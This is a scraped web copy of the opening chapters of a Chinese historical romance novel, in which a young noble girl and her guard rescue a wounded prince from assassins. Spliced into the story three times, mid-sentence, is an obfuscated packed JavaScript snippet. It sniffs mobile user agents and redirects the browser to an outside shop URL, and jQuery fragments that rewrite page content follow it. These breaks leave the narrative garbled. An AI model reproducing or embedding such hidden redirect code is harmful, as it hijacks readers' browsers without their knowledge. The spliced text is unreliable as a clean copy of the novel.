《离鸾有恨》
1. 青裙玉面初相识
春寒料峭,窗外偶有几声燕鸣掠过,日光漫过湿漉漉的青石院落,漾起一片粼粼碎光,梨树枝头已绽出几簇花苞,不等春华临至便悄悄吐露芬芳,在庭院里散开似有若无的清香。
一道颀长身影倏然出现在不远处的廊下。
他步子迈得又快又稳,衣袂拂动间带起微风,腰间佩剑的剑穗微微一晃,旋即又被他稳住,步履间不见丝毫声响。
玄色劲装裁得利落,袖口紧束,绣以金线缠枝纹,衬得肩背挺拔如剑初出鞘。鸦羽般的发用玄玉冠束得一丝不乱,唯几缕碎发垂落颈侧,为那张犹带稚气的脸庞添上几分习武之人的英气。
“小姐,该起了。”
子衿进门后,毫不犹豫地将窗户推开,冷风扑面,床上的人下意识裹紧了被子,只露出一颗毛茸茸的小脑袋。
他对此早已习以为常,满院皆知自家小姐贪睡赖床。
子衿抬手一挥,门外静候的丫鬟便鱼贯而入,端着铜盆、捧着衣裳涌到床前,将南辞盈从被窝里拎出来,梳洗更衣。
南辞盈睡意未消,闭着眼任由摆布,像个提线木偶。收拾停当后,她转身打了个哈欠,又要往枕上倒,却被眼疾手快的小丫鬟一把扶住。
“小姐,今日是夫人忌辰,上山祭奠可迟不得。”
雨水正沿屋檐零落滴答,子衿伸手接住一滴,寒意顷刻渗入指腹,公事公办的语气里却掩不住一丝无奈。
听见他的声音,南辞盈总算清醒了些,勉力睁开一只眼睛,望向屏风后那道身影,话音里还带着浓重的睡意:“子衿,怎么是你来陪我?”
“最近周遭不太平,常有流寇作乱,所以公爷吩咐我今日务必陪你上山。”子衿回答得随意,反手合上窗,转身倚在窗边闭目养神,眼下泛起淡淡的鸦青色,透出遮掩不住的疲惫。
“子衿,这么久不来看我,该当何罪?”
南辞盈收拾妥当,踮脚溜到屏风前,忽地探出头来。
子衿正沉思着,被这突如其来的一唤惊得肩头微动,看清是她后,眼底那层阴翳瞬间消散,伸手轻轻揉了揉她的发顶:“许久不见,小姐赖床的功夫倒是见长。再迟些,怕是直接赶上用午膳了。”
南辞盈顽皮地笑了笑。自从子衿随父亲去了军营之后,她便鲜少能在府上看见他了,她一把扑进子衿的怀里,全然忘记了方才晨起时的不愉快:“子衿,我好想你啊。”
一股清冽的味道钻进鼻腔,她感受到子衿的身上还带有雨后的潮重,不禁蹙起眉:“子衿,你去哪里了?是不是一夜未眠?”
子衿心虚的别过脸,不着痕迹地将南辞盈从怀里拉开:“小姐已经长大了,不能再像小时候那般……叫人看见是要非议的……”
“不要转移话题。”南辞盈抱起双臂,仰脸目光不错地盯着眼前人,轻跺足尖,“昨夜是不是没好好休息?身子不要了么?”
子衿笑得无奈,屈指轻弹她的额心:“小丫头,倒学会教训人了。”
“我已经六岁了,早不是小孩子了。”
南辞盈捂着脑袋嘟囔。
子衿去军营的六个月里,连一封书信都未曾捎回。
原本他曾答应一个月回府看她一次,可偏偏每每都托人传话来,只道军事繁忙无法脱身,叫她挑不出错来,连脾气都不知道冲谁发好。
她出生时母亲叶晚盈便去世了,镇国公南傲霄常年驻守在军营里,逢年过节也难得露一次面。偌大国公府空寂冷清,唯有子衿从始至终守在她的身边。
那时子衿也不过十岁,自己尚是孩童,还要不遗余力地照料一个刚出生不久的奶娃娃。从最初的手忙脚乱,到如今的游刃有余,一晃已过去六年。
六年来,子衿将她照顾得无微不至,她生活中难以察觉的小习惯,她的脾气秉性,他都了然于心。她最信任,也只信任他了。
“知道啦,小大人。”子衿扶好南辞盈因刚才扑来而碰歪的发簪,“最近事多且忙,待一切了结之后,定会回来好好陪你。”
“究竟是何事能扰得你连睡觉的功夫都没有,什么破地方,这般磋磨人。”南辞盈望着他倦怠的眉眼,叉起腰,玉团儿似的小脸气成了粉团子,眼尾微微上挑,可剩下的话到嘴边了怎么也说不出口。
她知道能投身军旅是子衿一直以来想要做的事情,一双水润的眼儿蒙着雾,唇瓣抿得紧紧的:“罢了,子衿喜欢就好。”
子衿又怎会看不出南辞盈的忧心,她从小双亲都不在身旁,因而比旁人更会察言观色,更懂事,也更渴求别人的关心和温暖,表面上看似毫不在意,可一个才六岁的孩子又能藏着什么心思?
分明是既舍不得他太辛苦,又想让他做自己所属意之事。
“傻丫头,不要胡思乱想。”子衿敛起思绪,唇角勾起一抹笑意,“公爷让我领兵回城,本意就是想要我趁此机会好好休息一下,我害怕赶不上夫人的忌日,所以才日夜兼程快马回来,没承想你还挺机灵,这都被你发现了。”
听此,南辞盈原本低沉的心情顿时烟消云散,眼睛倏地亮了,下意识地抓住子衿的衣角:“那你是不是可以留在府上多陪我些日子?”
子衿双手撑膝,俯身与她平视,笑得狡黠:“最近半个月,我都会留在府上,正好盯着你的功课。我可是一回来就听说,某人近几日常在课堂上睡觉,气得先生吹胡子瞪眼。”
“咳……马车备好了没?今日可不能迟。”南辞盈心虚地移开视线,手脚不甚协调地快步朝门外走,扬声向外喊道,“可要快点啊,再晚些赶不上回来用午膳了……”
马车徐徐向着寒山寺的方向前进,街边的小贩正陆陆续续挑着扁担摆开摊子,空寥寥的街道上,车辙溅起水花的声音清晰可闻,昨夜貌似下了一场大雨。
南辞盈懒散地趴在窗沿上,紧接着打了一个哈欠,睡眼惺忪地望着车窗外,薄薄的日光洒在她的脸上,衬得肌肤更加莹白。
子衿将手里的披风搭在了她的身上,温声叮嘱道:“最近外面乱得很,你不可再像往日那般偷偷溜出府。”
“你都没在府里怎么知道我偷溜出去的事?”南辞盈一下子坐直了身子,杏眼圆睁,“我明明做得极其隐蔽,连府里的侍卫都瞒过去了。”
子衿为她拢好披风将带子系紧,对她的反应早有预料,神色波澜不惊:“我发现西院前段时间补好的狗洞不知被谁给刨开了,阖府上下还有谁像你这般大胆,一猜便知。”
“知道了……”南辞盈撇了撇嘴,靠回车壁上闭目养神,“到底是何事,搞得最近人心惶惶啊……”
临下车前,子衿从怀里掏出一枚琥珀,不足半个手掌大小,鹅黄如融蜡,里头还裹着一片枯叶,泛着朦胧的柔光。
“给你的。”
南辞盈接过琥珀,触手温润,她仔细端详着这个似玉非玉的小物件,眼里漾开光彩,兴奋道:“子衿,这是什么?从哪里来的?”
“琥珀。军营里打赌赢来的,想着你会喜欢这种稀奇的小玩意儿,趁这次回来就带给你了。”子衿撩开帘子跃下马车,伸出手准备接应她,“好了小姐,先收好,留着回去慢慢看,该下车了。”
南辞盈依依不舍地将琥珀收进贴身荷包,下马车前又多嘴问了一句:“军营里竟许赌博么?”果不其然,又挨了子衿一记轻弹额心。
寒山寺隐于半山,马车行至大半,余下路程需徒步而上。山下的花已经含苞待放,山上连新色都寥寥无几,唯独叶晚盈的墓周围的一片林子,总是一年四季长青不凋。
南辞盈摆好祭品,洒酒焚香,跪在一旁用绢帕细细擦拭碑上的尘灰。子衿修长的手指无声轻点剑柄,望了她片刻,悄然退开,留她一人独处。
“母亲。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117002|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚一开口,声音便止不住发颤,眼眶已盈满泪水。
她身形单薄,小小一团跪在那里,额头轻抵石碑,哭得不能自已。山风匆匆掠过,树叶沙沙作响,仿若声声悲鸣。
叶晚盈是昭宁王朝的第一位女将,沙场风姿不逊任何男儿,曾率军屡战屡胜,后与同守西北的南傲霄相爱,二人恩爱不疑,携手戍边,一时间佳话传颂。
天不遂人愿,相伴五载,叶晚盈生下南辞盈后便去世了,南傲霄承受不住现实想一同离去,却被孩子牵绊,无可奈何。
南辞盈自幼早慧,却始终不明父亲为何总是对她避而不见,不知为何府上人总在她的背后用悲悯、惋惜的眼神看向她……
曾经,她总以为,只要能再乖一些,再懂事一些,父亲便会多看她一眼,多爱她一分。于是她就这样在府上盼啊盼,花开花落,年年岁岁,满心期待。
直到某个偶然的深夜,她终于明白了一切。
两个在廊下守夜的丫鬟以为她已熟睡,说话便不再压低声音。
一个双手捂着脸,噙泪低咽,另一个则在一旁轻声安慰。
“我有点想夫人了,你说夫人的命怎么就那么苦,才三十几岁,就……就……。”
话音未尽,女孩已泣不成声。
另一个女孩叹息着,声音哽咽:“若是当初夫人听劝,不执意把小姐生下来,这府里定然还会如从前那般热热闹闹,何至于如今……公爷打那以后也不爱回府,夫人走后,下人们散了大半,唯独我们几个对夫人忠心的,念着往日里的恩情才留在府里……如若不然,这里连坟墓都不如。”
“春荷,我好想夫人……我好怀念曾经的日子……春日夫人会和公爷在院子里舞剑,夏日闲暇时还会遣我们上街买当季青梅回来酿酒,秋日便带着我们几个跑到寒山寺赏景,甚至连冬日,夫人都闲不住,拉着公爷围炉煮茶,咏梅赋诗……”
“若是没有小姐就好了。”
“若是没有小姐就好了……”
那句轻叹如重锤砸落心头。
南辞盈蜷缩在榻上,痛得五脏六腑都绞在一起,泪水汹涌而出,喉头像被扼住,发不出半点声音,汗水浸透衣衫,耳边嗡鸣不绝,再也听不清旁的话语。
春荷与小夏,是平日里除了子衿外最照顾自己的两个人,她们会陪她在院子里踢毽子,会在她生病的时候寸步不离的侍候在床前,会在被先生打手板的时候心疼的为她敷药……
原来,那份好并非源于喜爱。
父亲不愿见她,也并非因为她不够乖顺,而是自始至终,他都厌弃她的存在……
“母亲,是不是没有我,所有人都会更幸福些……”
南辞盈喃喃低语,抬眼望向不远处子衿挺拔的背影,泪光模糊了他的轮廓。
子衿是母亲从战场救回来的遗孤,自幼养在府中,几乎见证了叶晚盈作为将军到后来嫁入国公府的全部。面对她时,他是否也会如旁人一般怀念往昔,是否也觉得没有她,一切会更好?
她是个胆小鬼,她不敢想。
南辞盈起身,将帕子系在碑旁一株矮竹上,拍了拍膝上尘土,深吸一口气,努力收拾好心绪,又变回平日里活泼的模样,与刚才失声痛哭的样子判若两人。
还未等她喊出子衿的名字,林间忽起骚动,枝桠簌簌乱颤,惊得宿鸟四散。
“救……救命……”
一个男孩从林间踉跄地跑了出来,不慎被石块绊倒,整个人重重摔在地上,昏迷不醒。
他肩头染血,月白衣袍被划破数道,露出的肌肤渗着细碎血珠,墨发凌乱地贴在额际,苍白的面颊却衬得眉眼愈发清隽锋利,哪怕此时狼狈不堪,周身反倒添了几分破碎的凌厉。
子衿倏然掠至南辞盈身前,长剑出鞘。待看清来人,眼中戒备转为惊愕:
“五皇子?”
2. 面冷心冷五殿下
五皇子?什么五皇子?哪里来的五皇子?
南辞盈还未从震惊中缓过神来,忽然林间不知从哪里冒出来一群黑衣人。
她只匆匆瞥了一眼对方腰间的配饰,便明了这是来自西羌部落的标志,往日偷溜去市井听的那些闲谈也全非无益。
“小姐,你带着五皇子先走。”子衿横剑在前,将两个人护在身后,眉峰紧蹙,眼锋如刀扫视着四周,黑衣人分庭而站,几乎封死了所有的下山路。
“好。”
南辞盈见形势危急,不敢耽误,使出吃奶的力气拉起男孩的一只胳膊,费力地让他倚靠在自己的肩头,可奈何六岁女孩的身量实在太过娇小,试了几次都未能成功。
“五皇子,你要是想活命就赶紧醒一醒,否则我们今天可都要交代在这里了。”
南辞盈知道现在她和男孩两个手无缚鸡之力的人在场只会拖累子衿,一时间气急,咬牙给了他胸口一拳,只见眼前人吐出一口淤血,才逐渐回神,睁开了眼睛。
黑衣人见五皇子转醒,霎时一拥而上,寒光直取其心口,子衿挥剑挑开攻势,一边周旋,一边还要分神回护,形势愈发危急。
南辞盈见状也顾不得其他,拉起半昏半醒的五皇子,她个子矮小,恰好能撑着他的身体。两人踉踉跄跄,在崎岖山路上深一脚浅一脚地往山上走去,几次险些被绊倒,荆棘密丛的枝条划过她的脸颊和衣衫,留下细碎的血痕,可仍不敢停下脚步。
“你多大了?”
身边的男孩突然开口,嗓音嘶哑,原本靠在她身上的重量也减轻了不少。
可是现在南辞盈根本没心思去听这个人在说些什么,只拼命地拉着他往山上走去,生怕身后的人再追上来,连鞋子跑丢了一只也浑然不觉。
二人从白日逃到暮色四合,不知道到了山中何处,眼看天色渐晚,恐有野兽出没,无奈只能躲到不远处的山洞里。
南辞盈刚安置好五皇子,顾不得自己身上的伤口,匆匆跑到外面捡回来不少树枝,从袖子里摸出一个火折子,熟练地点起了火。
火势渐旺,照着山洞里不再那般阴冷潮湿,南辞盈这才松了口气,一屁股跌坐在地上,此时她觉得浑身都在隐隐作痛,尤其右脚更是惨不忍睹,脚掌被石头划出了一道伤口,泥土混着血迹黏成一片,稍稍一动便疼得要命。
男孩将一切都看在眼里,整个人脱力地靠在山壁,经过这么长时间的折腾他也没好到哪里去,原本的伤口因为剧烈的活动再次开裂,血色浸湿了衣衫,气息微弱,整个人比原先还要狼狈。
南辞盈刚歇息好,便一瘸一拐地来到他的身边,撕下衣服上为数不多干净的布料,打算为他包扎一下伤口。
可男孩就像是一头警觉的小兽,脊背绷得笔直,整个人如一张拉满的弓,周身散出的寒意,染血的手死死握住受伤的肩头,血瞬间流的更凶了,他却仿佛感觉不到任何疼痛般,依旧目光锐利地盯着南辞盈。
南辞盈刚经历了生死逃亡,本来心情不佳,一想到子衿生死未卜,自己在深山迷路,还要被一群黑衣人追杀,正巧外面十分应景的传来几声狼嚎,她紧紧攥着布条,伏在膝上,眼泪瞬间像断了线的珠子。
“哭有什么用?”
男孩几不可闻地叹了口气,声音细若蚊蝇,苍白的脸上掠过一丝无措,指尖微蜷,最后用还算干净的一只手扯过来南辞盈手里的布条,用牙齿咬住一端,为自己缠绕伤口。
听闻此言,南辞盈原本委屈难过的心情一扫而空,痛快抹去眼角的泪水,拖着疲惫的身体,气鼓鼓地坐到一旁,连看都不想看他一眼。
山洞里的气氛沉寂,只剩下火星灼烧木枝发出噼里啪的脆响,等男孩包扎完伤口,才又缓缓开口,打破了这片死寂:“你多大了?”
南辞盈不可思议地侧目看了他一眼,内心腹诽这个人是不是脑袋摔坏了,都什么时候了,还在那里纠结她年龄几何这种无关紧要的小事!
“六岁。”
饶是如此,南辞盈还是乖乖回答道,毕竟能活着回去的话,也不好轻易得罪这位五皇子。
“六岁?”男孩仔细打量着眼前的女孩,先是一愣,羽睫轻颤,唇边旋即浮起一抹自嘲的笑,“你这样搀扶着我几乎跑遍了半个山头,又知道夜里山路不好行带我来到山洞里,还能随身带着火折子生火以驱赶野兽,怎么看,都不像是一个六岁孩童能做出来的事。”
有跑了半个山头么?南辞盈不知道。
她一向方向感很差,起初刚偷溜出去的几个月里,常常因为半夜都找不到回去的路,只好贴身带着一个火折子为了能够随时照亮。
至于她为何知道明火能驱赶野兽,也是因为市集上一位猎户大叔在卖猎物的时候总会吹嘘自己上山打猎的经历,久而久之,她对山上的情况也多少了解了一点。
可现在,眼前的人陷她沦落到这番田地不够,竟还如此警惕她,南辞盈一瞬间觉得救命的恩情都喂了狗,气愤地翻了个白眼:“六岁怎么了?皇子生在京城的富贵窝里,自是没见过西北边疆的动荡,寻常人家的孩子三岁就会帮父母上山砍柴,十岁便能独自一人进山打猎,面对蛮族流寇时,还能在死里逃生后回家做饭,我只是会生个火又有什么稀奇的?少见多怪。”
男孩没想到南辞盈会这般疾言厉色,顿时被噎住了,脸上多了几分恼羞成怒:“你……你这般伶牙俐齿,怎么看都不像是个六岁的孩子,小骗子。”
南辞盈想继续与他争执,抬眼看见了他微红的眼眶,面颊上浮现出两抹不自然的红晕,长舒一口气,平复情绪后,才缓缓开口:“你身受重伤,还发热了,我不跟你争执。”
“呵。”男孩仰头轻笑,声音虚弱,“小骗子。”
“你!”南辞盈被气得跳脚,“那你说,六岁该是什么模样?”
男孩闭目思考良久,再开口时嗓音越发疲惫:“不知道……大概也会如你这般,觉得自己已经像个大人了吧……”
话音渐弱,他后背抵着冰冷的山壁一动不动,紧绷的身体难得松懈下来,打眼看去还以为他睡了过去。
南辞盈再靠近的时候,男孩已无原来戒备,肩头的伤口虽被简单处理,流出来的血仍浸透了他的大半衣衫,她看不过去,伸手将原本松垮的布条解开,重新沿着伤口的部位慢慢包扎。
包扎好后,她一抬头,便跌进了一双淡如初冬薄雪的眸光之中。
南辞盈惊得向后一退,脚腕传来针扎般的疼痛,一时身体向后倒去,本以为会与地面来个亲密接触,却被男孩一把攥住衣袖拽了回来。
不小心牵动了伤口,男孩忍痛低咳一声:“还真是笨啊。”
“叫什么名字?”
“南……南辞盈……”她跌坐在地上,还未缓过神来。
“山不让尘,川不辞盈。镇国公还真会取名字。”
南辞盈头一次见到男孩脸上流露出真切的笑意,恍了神,发觉这个刻薄无理的人笑起来时竟如此的好看。
“小名呢?”
南辞盈的脚踝肿得比馒头还大,现在别说走路,连起身都难,只能坐在男孩的旁边,听他喋喋不休。
“问那么多作甚?”
他一开始还那么提防自己,现在又像是一个坐在村口的阿婆,净闲打听,他还以为她真就那么笨,什么都告诉他。
男孩也不恼,身体软绵绵的滑落,胸口剧烈起伏,不停喘着粗气:“我估计……今夜……我们或许会一起死在这里了,届时一同走黄泉路作伴,也不好还不知你姓名……”
“放屁!”南辞盈再也控制不住,嚎啕大哭了起来,“子衿……子衿一定会找到我的!”
“你知道追杀我的都是何人?你知道又有多少人想我死?”男孩嗤笑一声,指尖轻轻蹭过衣摆,尽力擦去上面的血污,缓缓抬起手臂,为南辞盈轻拢去贴在脸颊的碎发,“你那个侍卫,或许早就已经死了,洞口又燃起了明火,被人发现是迟早的事。”
南辞盈哭得更凶了,一下拍开他的手:“不可能,子衿一定会来接我回家的,你再咒他,我就将你扔出山洞,让你自生自灭去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117003|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下一瞬,男孩的身子一软,倒在了地上,如同一盏被摔碎的白瓷,了无生机。
南辞盈探了探男孩的身体,只觉得滚烫无比,恐惧漫上心头,她拢过男孩的头枕在自己的腿上,放声大哭:“你……你别死啊,你死了我一个人怎么办。”
眼泪一颗颗砸在男孩毫无生气的脸上,男孩双眉紧蹙:“别哭……还没死呢,哭得我心烦。”
南辞盈毫不在意他不耐烦的语气,继续自顾自地哭着:“你嘴巴这么毒,一定没人喜欢你吧……”
“呵……”男孩像是被气笑了般,“你六岁便懂这么多,定是平日没人护你吧……”
“是啊,倒霉的是,我今日生辰,还要跟你死在一处,我还从未过过生辰呢……”
南辞盈越说越伤心,因自己出生那日,母亲便离世了,府上的人从未替她办过生辰宴,反倒是那天府里的气氛比以往更加凝重,若不是她经常偷溜出去,也不会了解到,原来生辰那天还会收到礼物,还会有人庆贺一个人的出生……
“那我们真是同病相怜啊……”
男孩说完这句话,仿佛用尽了全身的力气,眼皮沉沉合上,再未睁开。
南辞盈慌乱地晃着男孩的脑袋:“你不要死啊,求求你了,千万别死,不要留我一个人在这里,我会害怕的,求求你了……”
她还以为下一秒男孩能醒过来继续谴责他的聒噪,可是并没有,他就静静地躺在那里,呼吸声渐弱,像一朵秋日里即将凋谢的残花。
“原来在这里。”洞门外,光影处站着一位穿着青灰色道袍的老者,腕处搭着拂尘,捻着白须,头发花白,颇有仙风道骨之姿,“小友,你可让我好找。”
南辞盈见状,还以为自己大限将至,见到了神仙,又咧嘴大哭了起来:“你是来接我们俩去地府的么?”
老者一愣,随后哈哈大笑:“小友不愧是叶晚盈的女儿,真是风趣幽默啊。”
“不过,”老者话锋一转,远没有刚开始那般慈祥,“我不是来接你的,我是来接他的。”
拂尘一挥,指向倒在地上昏迷不醒的男孩。
南辞盈突然想起了男孩昏迷前说的话。
“你知道又有多少人想我死?”
“那我们真是同病相怜啊……”
他的笑意明明从始至终都泛着苦涩,眼底的神色宛如一潭死水,只剩下冰冷的空寂,原来他知道自己会死,因为明白自己从来没被期待活着。
“不行。”南辞盈不知道哪里来的勇气,小小的身躯扑在男孩的身上,“他不能死,你若是想杀他,就先杀了我。”
“死?你知道是什么概念么?”老者踱步走到南辞盈面前蹲下,平静地注视着她。
“不知道。”南辞盈死死抱住男孩的身体不撒手,“但是我知道活,只要能活着,活下去,一切都有希望,天地那么大,总有容身之处。”
老者叹息:“倘若你救下的是一个罪大恶极的人呢?倘若我告诉你以后会有很多人因他而死,你还会说他该活着么?”
“没有人生来就该死,他才十一二岁的年纪,会做什么罪大恶极的事,你不要用以后虚无缥缈的事来欺负现在的他。”
南辞盈越说越泣不成声,不知是在哭他还是哭自己。
同样的命运,若是她能活,她就一定也要让眼前人活下去。
老者神色微动,思忖片刻:“是啊,没有人天生就该死,也许有些时候就是命吧,牺牲一人而救百人的事,做不做都是错,谁又能评说呢?”
“或许,一开始我就错了。”老者面露痛苦,声音喑哑,“我自以为能为万民寻找一条生路,却不曾想过最后会和想要的结果背道而驰,命运、变数,我都抓不住。万人之幸不因我,众生之苦皆源于我,想来,还是怪我太自大,妄图违背天道改命,错了,真是错了……命该由众生自己走出……”
南辞盈意识渐散之际,老者的话语仍在耳边萦绕。
“罢了,你们还是孩子,我自己做下的错事,又何苦强求你们呢……”
3. 转角又见他
南辞盈做了一个很长的梦,梦见她独自一人打马过长街,面前是鲜红的一片,花团锦簇的婚轿后面跟着十里红妆和浩浩汤汤的迎亲队伍,骑在高头大马上的新郎官正一脸悲切地望着她。
他伸出手来,怜悯祈求:“嫁我吧。”
还未等她开口,紧接着自己便掉入无边无际的万丈深渊,周遭漆黑一片,她害怕,任凭喊破嗓子都没有人理,无措之下痛哭流涕。
“又在哭什么。”
一道声音无奈地叹了口气。
“没见过这么爱哭的小孩子。”
南辞盈缓缓睁开双眼,发现周围仍是一片漆黑,下意识地抓紧了身旁的人:“我……我在哪里?”
“不知道,或许……在阴曹地府吧。”那人起了逗弄她的心思,任由被抓住衣摆不松手,在床边撑着脑袋看着她,“和我一起,不好么?”
南辞盈这才循声转过头来,窗外的月光洒在那人的脸上,在看到的一瞬间,哭得更大声了:“怎么又是你,都怪你乌鸦嘴,我们俩这回一起死了。”
男孩被她哭得头疼,一把捂住了她嚎啕大哭的嘴,连忙解释道:“骗你的骗你的,这里是镇国公府,你家。”
“镇国公府?”南辞盈眼泪汪汪,“我家?”
男孩捏着鬓角,无奈叹了口气:“是啊,是啊,所以别再哭了,好么?”
南辞盈仔细打量了周围半天,发现真的是自己的房间,这才放下心来:“我还以为跟你一起死了。”
男孩轻哼一声:“你要是跟我一起死了,还未等过奈何桥,你的眼泪就要把我给淹了,我才不做这么得不偿失的事。”
纵使话还如同之前那般不中听,南辞盈也没心思与他斗嘴了,那日发生的一切还历历在目,濒死的感觉仍旧心有余悸,所有的事情像被笼罩在一团看不清的迷雾之中,想着想着,她又睡着了。
再次醒来的时候,外面天光大亮,昨晚的一切都像是一场梦般朦胧不真,刚想坐起来的时候,却发现浑身上下的每一处都疼得要命,尤其右脚踝,更是动都不能动。
“小姐?”
子衿听到里间传来声音,步履匆匆地跑了进来,甚至还不慎撞飞了茶桌上的壶盏。
“子衿,我好怕。”南辞盈看到子衿的第一眼,眼泪便止不住地流,“你去哪了,有没有受伤,我等了你好久。”
子衿跪在床边,像是被抽空了所有的力气,小心翼翼地握住南辞盈的手,紧紧贴在额间,头埋得极低,额前的碎发垂落,遮住了泛红的眼尾:“对不起……”
他的声音轻得像羽毛拂过,却满是涩意。
南辞盈抽噎地止住了哭声:“才不是呢,是我赖了一个很久的床,让你担心了。”
“怪我,是我来晚了。”子衿心疼地望着南辞盈,垂在身侧的另一只手指尖用力到泛出青白,低声自责道,“是我没有照顾好你。”
“子衿,没关系,我可厉害了,带着五皇子走了半个山头,还知道晚上山路难行带他去山洞里躲着,为了驱赶野兽,我还捡了不少树枝生了一堆火,五皇子都夸我不像一个六岁的孩子。”南辞盈看到子衿难过,也不知说些什么话来安慰,只得将那天男孩用在她身上的词一股脑全说了出来,“除了上山的时候路走多了……脚上磨了些水泡,没受伤也没着凉,一觉睡醒就回家了,真的真的。”
子衿食指轻点她的额头,怜惜又无奈:“你真是个傻丫头。”
“这两天好好休息,别想旁的事,这段时间可能会有些忙,等我抽空回来看你。”子衿临出去前,为她掖好了被角,细细叮嘱道,“脚上的伤才好些,碰不得水,要做什么事吩咐春荷和小夏就好,不要自己偷摸下床,听话些。”
“好……”南辞盈欲言又止,踌躇半天才开口,“五皇子还好么?”
她好害怕听到五皇子亡故的消息,那日她趴在他身上便不知不觉晕了过去,也不知道那位道士最后有没有对他下手,万一昨晚上是他从阴间爬上来索命……
子衿的表情变得凝重:“五皇子受伤严重至今还昏迷不醒,刺杀的人还未查到踪迹,公爷最近也为了此事忙得焦头烂额……”
南辞盈默默在心里松了一口气,还好还好,昨晚或许只是梦,若真是鬼魂,她今晚上可要搬去佛堂睡了。
子衿走后,轮到春荷和小夏泪眼盈盈的守在床边,你一言我一语地说着这段时间的事。
原来她已经昏睡了七天,怪不得子衿会那么担心。
五皇子随太傅这次来到西北,原是为了替皇上巡视边关军防,不料临近入城时被刺客掳走,生死不明,碰巧那天上山时被自己遇见,救了他一命。
南傲霄也回到了府里,带着卫兵把府里围了个水泄不通,生怕再有刺客来犯,而后又和太傅整日待在书房里,不知在商讨些什么。
南辞盈躺在床上才半日,就已经待不住了,托人找城里的木匠连夜加急打了一把小巧的轮椅,整天便坐着轮椅在院子里散步,子衿对此很是头疼,却又无可奈何,只好交代下人们注意些,莫要让她着凉了。
近几日府上人来人往,坐在院子里赏景的她终于从只言片语中得知了五皇子的名字——裴清让。
可这段时间,裴清让那边一直没有传来苏醒的消息,让南辞盈不禁有些担心,他当时流了那么多血,身上还有数不清的伤,真的可以熬过来么?
辗转反侧思考了几夜后,南辞盈决定做她最熟练的事——深夜翻窗,偷溜到裴清让的房间,看望他一眼。
她知道去往西院方向有一条谁都不会察觉到的小路,碰巧可以路过裴清让的院子。
哪成想,南辞盈刚到院落附近,远远望去,有好几个侍卫守在门口,戒备森严,无奈只能作罢从正门走进的心思。
还好隔壁花园池塘围墙旁有一处狗洞,钻进去就是裴清让房间的后窗,南辞盈小心翼翼地打开窗户,脚刚要离开窗沿,脚踝处便传来锥心般的疼痛,下一秒直接从窗户上掉下来跌在地上。
一声咚的巨响引起门外侍卫的警觉,南辞盈连忙把窗户关上,钻进一旁的床榻上将被子蒙过头顶,上演了一出掩耳盗铃的戏码。
南辞盈藏在被子里,整个人紧张到在不停地颤抖,耳畔尽是自己擂鼓般的心跳声,连带呼吸都跟着乱了节奏。
侍卫进门举灯找了半天,发现没什么异常,只觉得是哪里窜来的流浪猫闹出的动静,随后便离开了。
南辞盈听到关门的声音,这才松了一口气,把脑袋从被子里探出来,猛然发现自己身边竟还躺着一个人!
月光淌过窗棂,落了裴清让满身清辉。
他平卧在榻上,墨发松松散在枕间,呼吸轻浅匀净,眼睫轻垂,在眼睑下投出一小片浅浅的阴影,褪去了周身的疏离凛冽,难得显出几分柔和。
“不说话的时候,倒是俊美。”南辞盈双手托腮,在一旁感慨道,“快快好起来啊,等你醒过来,我带你钻西院墙的狗洞出门逛市集。”
裴清让羽睫极轻地颤一下,似是梦到了什么,转瞬又归于沉寂。
见裴清让身体上的伤口已经好了大半,南辞盈也放下心来,如法炮制地又从窗户翻了出去,回到自己院子时,根本不知是几时,结果第二天直接睡到昏天黑地。
外面熙熙攘攘的声音,将她从睡梦中唤醒,南辞盈睡眼惺忪地顶着一头乱糟的头发从床上爬起,侧耳倾听外面的情况。
“太好了,五皇子终于醒了。”
“谢天谢地,公爷不用被罚了。”
“你说,明明是他们自己内部泄了密,暴露了来边城的行程,让旁人有了可乘之机,可偏偏非要将这笔账算在公爷头上,说什么是军营里出了内鬼,真是不公平。”
“嘘,这满院的侍卫你又知哪个是京城来的人,小声些,莫要讲这种话再给公爷招祸了。等会小姐起来还要用膳,叫小厨房提前预备着,小姐脚上有伤,医师说吃不得一些东西,你务必盯紧了。”
“小姐且睡着呢,日上三竿我觉得也不会醒……”
裴清让醒了?那真是喜事一件。
南辞盈听得七七八八,迷蒙的意识难得抓住了几句重点,转头又倒回了床上,而后果真如小夏所言,当真睡到了晌午。
刚撤下食几,忙碌多日的子衿终于露
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117004|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了面,风尘仆仆地赶来,甚至连身上的衣服都没换,就将一把被花布包裹着的桃木剑递到她的面前。
“这是?”南辞盈解开木剑上的木条,拿在手里打量了一番,转头问道,“让我辟邪用的?”
这段时间确实太倒霉了,她有这种想法也无可厚非。
